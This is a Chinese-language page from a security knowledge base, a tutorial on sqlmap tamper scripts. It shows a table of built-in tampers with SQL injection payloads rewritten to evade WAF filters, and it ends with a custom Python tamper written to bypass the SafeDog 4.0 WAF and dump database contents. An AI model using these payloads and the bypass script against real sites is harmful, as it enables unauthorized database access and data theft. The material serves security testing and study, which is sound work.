👻
security
  • 计算机技术
  • OWASP TOP 10
  • 名词解释
  • 1
    • 常见端口利用
    • F5 big-ip从环境搭建到漏洞复现
    • 红队资源
  • About
    • APT
      • 海莲花(APT-C-00)
        • 样本分析
      • 毒云藤(APT-C-01)
        • 大规模钓鱼攻击活动披露
        • 2020上半年针对我重要机构定向攻击活动揭秘
      • 响尾蛇(T-APT-04)
        • 利用WebSocket隧道的新型攻击活动披露
      • 蔓灵花(APT-C-08)
        • 移动平台攻击活动揭露
      • 蓝宝菇(APT-C-12)
        • 组织使用云存储技术发起的最新攻击活动披露
      • 双尾蝎组织(APT-C-23)
        • 针对中东地区的最新攻击活动
      • Lazarus(APT-C-26)
        • 暴风行动 -利用MATA框架针对数字货币行业的攻击活动揭秘
      • Fancy Bear(APT-C-28)
        • 携小众压缩包诱饵对北约、中亚目标的定向攻击分析
      • 肚脑虫组织(APT-C-35)
        • 使用升级版数字武器针对周边地区的攻击活动
        • 针对巴基斯坦的攻击活动
      • 拍拍熊(APT-C-37)
      • 军刀狮(APT-C-38)
      • 蓝色魔眼(APT-C-41)
        • 组织首次针对我国重要机构定向攻击活动披露
      • 美人鱼(Infy)
        • 使用最新的Foudre后门进行攻击活动的分析
    • 各类靶场讲解
      • sqli-labs
      • upload-labs
      • xss-labs
    • CISP题库
    • Docker
      • Docker基线
        • docker基线-概述
        • 推荐一
        • 推荐二
        • 推荐三
        • 推荐四
        • 推荐五
        • 推荐六
      • 命令与选项
      • 基于Docker的固件模拟
      • 固件相关
      • Docker 私有仓库搭建
      • 基础命令的背后
      • 渗透思路调研
      • Docker容器环境检测方法【代码】
    • 浏览器
    • markdown
    • 密码学
    • 内网渗透TIPS
    • 网络扫描
    • 正则表达式
  • 操作系统
    • Android
      • APK终端安全分析法
      • 应用审计指南
        • 通用审计方法
    • IOS
      • 应用审计指南
    • Linux
      • 反弹shell
      • 基线检查
      • SHELL编程
      • 实战技能
    • windows
      • BACKDOOR with 权限维持
      • 磁盘取证实验
      • 基线检查
      • 免杀抓取明文
      • payload下载方式
      • powershell
      • 日志分析
        • 分析工具
      • Untitled
  • 数据库
    • db2
    • mysql
      • webshell写入
      • 基础知识
      • 核心技术
      • 高级应用
    • oracle
      • webshell写入
    • SQLserver
      • webshell写入
  • 中间件
    • apache
      • 基线检查
      • 日志审计
    • iis
      • 基线检查
      • 7.5解析绕过漏洞
    • nginx
      • 基线检查
    • tomcat
      • 基线检查
  • 编程语言
    • C
    • Java
      • webshell
        • 查杀Java web filter型内存马
        • Filter/Servlet型内存马的扫描抓捕与查杀
        • 基于内存 Webshell 的无文件攻击技术研究
        • 基于tomcat的内存 Webshell 无文件攻击技术
        • Tomcat 内存马检测
      • 代码审计
      • 代码审计指南
      • 浅析Java命令执行
      • 相关框架简介及漏洞
    • PHP
      • 代码审计
      • 破解DVWA-admin密码
      • webshell
        • 常见php一句话webshell解析
        • PHP Webshell Hidden Learning
        • Webshell免杀研究
        • Webshell那些事-攻击篇
        • 过D盾webshell分享
      • 相关框架简介及漏洞
    • python
      • 安全编码规范-代码审计
      • 编码规范
      • fishc
      • 某教程涉及脚本
      • POC编写相关
      • python秘籍
        • 上半部分
        • 下半部分
      • 安全方面的内容
        • Python Opcode逃逸笔记
        • 虚拟机逃逸
      • with-EXCEL
      • 相关框架简介及漏洞
      • 源码剖析
        • 多线程和GIL锁
        • Set容器
        • 统一内存管理
        • 信号处理机制
        • 循环垃圾回收器
        • 字符串对象PyStringObject
        • 整数对象PyIntObject
        • 字节码和虚拟机
    • 汇编
    • Javascript
      • Tampermonkey Script
  • AIGC
    • howtouse
  • 网络
    • CCNA
  • 漏洞类型及讲解
    • 综合
    • 技术分享
      • 暴力破解与信息泄露
      • 信息泄露漏洞_java
      • sqli-with-java
      • python远程命令执行与SSRF
    • SQL-Injectoin
    • Cross-Site Scripting
      • 跨站的艺术-XSS入门与介绍
      • 跨站的艺术-XSS Fuzzing 的技巧
      • 给开发者的终极XSS防护备忘录
      • AngularJS特性的 XSS
    • 文件操作
      • 文件包含
  • how-to-use
    • Acunetix(AWVS)
      • 安装到使用
      • 编写AWVS脚本探测web services
      • 简单分析-web方面
      • 流量分析特征
    • burpsuite
      • 导出报告方式
      • captcha-killer
      • FAKE-IP
      • JSFind
      • 编写插件绕过WAF
    • Cobalt Strike
      • Cobalt Strike Powershell过360+Defender上线
    • FOFA
    • GDB
    • PowerSh
      • 获得Powershell命令的历史记录
      • 深入分析PowerShell的两面性
      • 内网渗透利器之PowerSploit
      • PoC:滥用PowerShell Core
      • 如何绕过PowerShell访问限制并实现PowerShell代码执行
      • 工具包
      • 无powershell运行powershell方法总结
    • sheji
    • sqlmap
      • Atlas修改SQLMap tampers 绕过WAF/IDS/IPS
      • 内核分析
      • 检测剖析
      • tamper
      • UDF
      • --os-shell
      • sqlmapapi
      • with burp
      • 网络特征
    • Matlab
    • Metasploit
      • 与Powershell
    • NESSUS
      • 流量分析特征
      • Untitled
    • Network MapTools
      • 流量特征修改
      • 识别主机指纹
    • waf
      • ngx-lua-waf
      • modsecurity
由 GitBook 提供支持
在本页
  • 一、自带tamper介绍
  • 二、绕狗4.0tamper

这有帮助吗?

  1. how-to-use
  2. sqlmap

tamper

上一页检测剖析下一页UDF

最后更新于4年前

这有帮助吗?

一、自带tamper介绍

1、tamper的作用: 使用SQLMap提供的tamper脚本,可在一定程度上避开应用程序的敏感字符过滤、绕过WAF规则的阻挡,继而进行渗透攻击。

2、WAF是啥?

  • WAF:Web应用程序防火墙,Web Application Firewall

  • IPS:入侵防御系统, Intrusion Prevention System

  • IDS:入侵检测系统,Intrusion Detection System

3、tamper用法

--tamper=TAMPER 利用给定的脚本进行篡改注入数据。其用法可举例说明:

sqlmap.py -u "" --level=5 --risk=3 -p "uname" --tamper=xxx.py

表示对指定的url地址,以所设置的level等级、risk等级,并采用选定的tamper篡改脚本对参数“uname”进行检测

sqlmap中所有的tamper:

各种tamper的适用范围如下图所示:

各tamper的大意如下表格所示:

tamper

功能

举例

apostrophemask.py

对引号进行utf-8格式编码(%EF%BC%87)

1 AND '1'='1 ==> 1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

apostrophenullencode.py

用非法的双unicode字符(%00%27)替换引号字符

1 AND '1'='1 ==> 1 AND %00%271%00%27=%00%271

appendnullbyte.py

在有效载荷结束位置加载零字节字符编码

1 AND 1=1 ==> 1 AND 1=1%00

base64encode.py

用base64格式进行编码

1' AND SLEEP(5)# ==> MScgQU5EIFNMRUVQKDUpIw==

between.py

用between替换大于号(>)

1 AND A > B --  ==> 1 AND A NOT BETWEEN 0 AND B  --

1 AND A = B --  ==> 1 AND A BETWEEN B AND B --

bluecoat.py

对SQL语句替换空格字符为(%09),并替换"="--->"LIKE"

SELECT username FROM users WHERE id = 1 ==> SELECT%09username FROM%09users WHERE%09id LIKE 1

apostrophemask.py

用utf-8格式编码引号(如:%EF%BC%87)

1 AND '1'='1 ==> 1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

charunicodeencode.py

对字符串进行Unicode格式转义编码

SELECT FIELD%20FROM TABLE ==> %u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045

charencode.py

采用url格式编码1次

SELECT FIELD FROM%20TABLE ==> %53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45

chardoubleencode.py

采用url格式编码2次

SELECT FIELD FROM%20TABLE ==> %2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545

commalessmid.py

将payload中的逗号用 from和for代替,用于过滤了逗号并且是3个参数的情况

MID(VERSION(), 1, 1) ==> MID(VERSION() FROM 1 FOR 1)

concat2concatws.py

CONCAT() ==> CONCAT_WS(),用于过滤了CONCAT()函数的情况

CONCAT(1,2) ==> CONCAT_WS(MID(CHAR(0),0,0),1,2)

equaltolike.py

= ==> LIKE,用于过滤了等号"="的情况

SELECT FROM users WHERE id=1 ==> SELECT FROM users WHERE id LIKE 1

greatest.py

1 AND A > B ==> 1 AND GREATEST(A, B+1)=A

halfversionedmorekeywords.py

空格 ==> /*!0 (在关键字前添加注释)

union ==> /*!0union

ifnull2ifisnull.py

IFNULL(A, B) ==> IF(ISNULL(A), B, A)

IFNULL(1, 2) ==> IF(ISNULL(1),2,1)

informationschemacomment.py

在 information_schema 后面加上 /**/ ,用于绕过对 information_schema 的情况

retVal = re.sub(r"(?i)(information_schema).", "g<1>/**/.", payload)

select table_name from information_schema.tables ==> select table_name from information_schema/**/.tables

lowercase.py

将 payload 里的大写转为小写

SELECT table_name FROM INFORMATION_SCHEMA.TABLES ==> select table_name from information_schema.tables

modsecurityversioned.py

用注释来包围完整的查询语句,用于绕过 ModSecurity 开源 waf

1 AND 2>1-- ==> 1 /!30874AND 2>1/--

modsecurityzeroversioned.py

用注释来包围完整的查询语句,用于绕过 waf ,和上面类似

1 and 2>1--+ ==> 1 /!00000and 2>1/--+

multiplespaces.py

围绕SQL关键字添加多个空格

1 UNION SELECT foobar ==> 1 UNION SELECT foobar

nonrecursivereplacement.py

关键字双写,可用于关键字过滤

1 UNION SELECT 2-- ==> 1 UNIONUNION SELESELECTCT 2--

overlongutf8.py

转换给定的payload当中的所有字符

SELECT FIELD FROM TABLE WHERE 2>1 ==> SELECT%C0%AAFIELD%C0%AAFROM%C0%AATABLE%C0%AAWHERE%C0%AA2%C0%BE1

percentage.py

用百分号来绕过关键字过滤,在关键字的每个字母前面都加一个(%)

SELECT FIELD FROM TABLE ==> %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

randomcase.py

将 payload 随机大小写

INSERT ==> InseRt

randomcomments.py

在 payload 的关键字中间随机插入注释符 /**/ ,可用于绕过关键字过滤

INSERT ==> I / / N / / SERT

securesphere.py

在payload后追加特殊构造的字符串

1 AND 1=1 ==> 1 AND 1=1 and '0having'='0having'

space2comment.py

用注释符 // 代替空格,用于空格的绕过

SELECT id FROM users ==> SELECT//id//FROM//users

space2dash.py

用[注释符(--)+一个随机字符串+一个换行符]替换控制符

union select 1,2--+ ==> union--HSHjsJh%0Aselect--HhjHSJ%0A1,2--+

space2hash.py

用[注释符(#)+一个随机字符串+一个换行符]替换控制符

union select 1,2--+ ==> union%23HSHjsJh%0Aselect%23HhjHSJ%0A1,2--+

space2morehash.py

用多个[注释符(#)+一个随机字符串+一个换行符]替换控制符

union select 1,2--+ ==> union %23 HSHjsJh %0A select %23 HhjHSJ %0A%23 HJHJhj %0A 1,2--+

space2mssqlblank.py

用随机的空白符替换payload中的空格

SELECT id FROM users ==> SELECT%0Eid%0DFROM%07users

space2mssqlhash.py

用[字符# +一个换行符]替换payload中的空格

union select 1,2--+ ==> union%23%0Aselect%23%0A1,2--+

space2plus.py

用加号(+)替换空格

SELECT id FROM users ==> SELECT+id+FROM+users

space2randomblank.py

用随机的空白符替换payload中的空格

SELECT id FROM users ==> SELECT%0Did%0DFROM%0Ausers

sp_password.py

在payload语句后添加 sp_password ,用于迷惑数据库日志(Space ==> sp_password)

1 AND 9227=9227-- ==> 1 AND 9227=9227 -- sp_password

symboliclogical.py

用 && 替换 and ,用 || 替换 or ,用于这些关键字被过滤的情况

1 and 1=1 ==> 1 %26%26 1=1

1 or 1=1 ==> 1 %7c%7c 1=1

unionalltounion.py

用 union select 替换union all select

union all select 1,2--+ ==> union select 1,2--+

unmagicquotes.py

用宽字符绕过 GPC addslashes

1' and 1=1 ==> 1%df%27 and 1=1--

uppercase.py

将payload中的小写字母转为大写格式

insert ==> INSERT

varnish.py

添加一个HTTP头“ X-originating-IP ”来绕过WAF

headers = kwargs.get("headers", {})headers["X-originating-IP"] = "127.0.0.1"return payload

versionedkeywords.py

对非函数的关键字进行注释

1 union select user() ==> 1/!UNION//!SELECT/user()

versionedmorekeywords.py

对每个关键字进行注释处理

1 union select user() ==> 1/!UNION//!SELECT/user()

xforwardedfor.py

添加一个伪造的HTTP头“ X-Forwarded-For ”来绕过WAF

headers = kwargs.get("headers", {})headers["X-Forwarded-For"] = randomIP()return payload

二、绕狗4.0tamper

可过的版本:

主程序版本号:V4.0.26550 网马库版本:2019-02-14 官方防护规则版本:2019-2-14

tamper编写注意事项:

因为 sqlmap 的测试时对 UNION 查询注入测试时必须确定当前表的列数,也就是利用 ORDER BY 来确定。如果ORDER BY 语句不成功则直接跳过 UNION 查询注入阶段。所以如果使用 UNION 查询注入 tamper 必须对 ORDER BY 进行绕过。

未绕过 ORDER BY 直接跳过 UNION 查询:

可 dump 数据的 tamper
#!/usr/bin/env python
# SafeDog 4.0.26550
#

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass


def tamper(payload, **kwargs):
    sign = '/*!51234a*/'
    retVal = payload
    l = ['UNION', 'ORDER','SELECT','super_priv'] # SELECT super_priv 为了sqlmap执行 "--is-dba"
    data = {}
    for i in l:
        data[i] = i + sign
    for i in data.keys():
        retVal = retVal.replace(i, data[i])

    retVal = retVal.replace("CURRENT_USER()", "CURRENT_USER" + sign + "()") # 为了sqlmap执行 "--current-user"
    retVal = retVal.replace("AND ","AND%23%0a ") # 为了sqlmap执行 "--dump"
    return retVal

测试效果:

http://.../?uname=admin&pwd=pass123